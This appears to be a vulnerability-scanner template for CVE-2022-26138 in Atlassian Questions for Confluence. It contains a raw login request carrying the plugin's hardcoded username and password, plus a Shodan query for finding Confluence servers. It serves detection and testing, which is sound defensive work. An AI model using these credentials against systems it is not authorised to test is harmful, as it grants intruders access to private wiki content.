45 lines
1.7 KiB
YAML
45 lines
1.7 KiB
YAML
id: CVE-2022-26138
|
|
|
|
info:
|
|
name: Atlassian Questions For Confluence - Hardcoded Credentials
|
|
author: HTTPVoid
|
|
severity: critical
|
|
description: |
|
|
Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
|
|
reference:
|
|
- https://twitter.com/fluepke/status/1549892089181257729
|
|
- https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
|
|
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-26138
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-26138
|
|
cwe-id: CWE-798
|
|
metadata:
|
|
shodan-query: http.component:"Atlassian Confluence"
|
|
tags: cve,cve2022,confluence,atlassian,default-login,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /dologin.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
os_username:
|
|
- disabledsystemuser
|
|
os_password:
|
|
- disabled1system1user6708
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'location == "/httpvoid.action"'
|
|
|
|
# Enhanced by md on 2023/01/06
|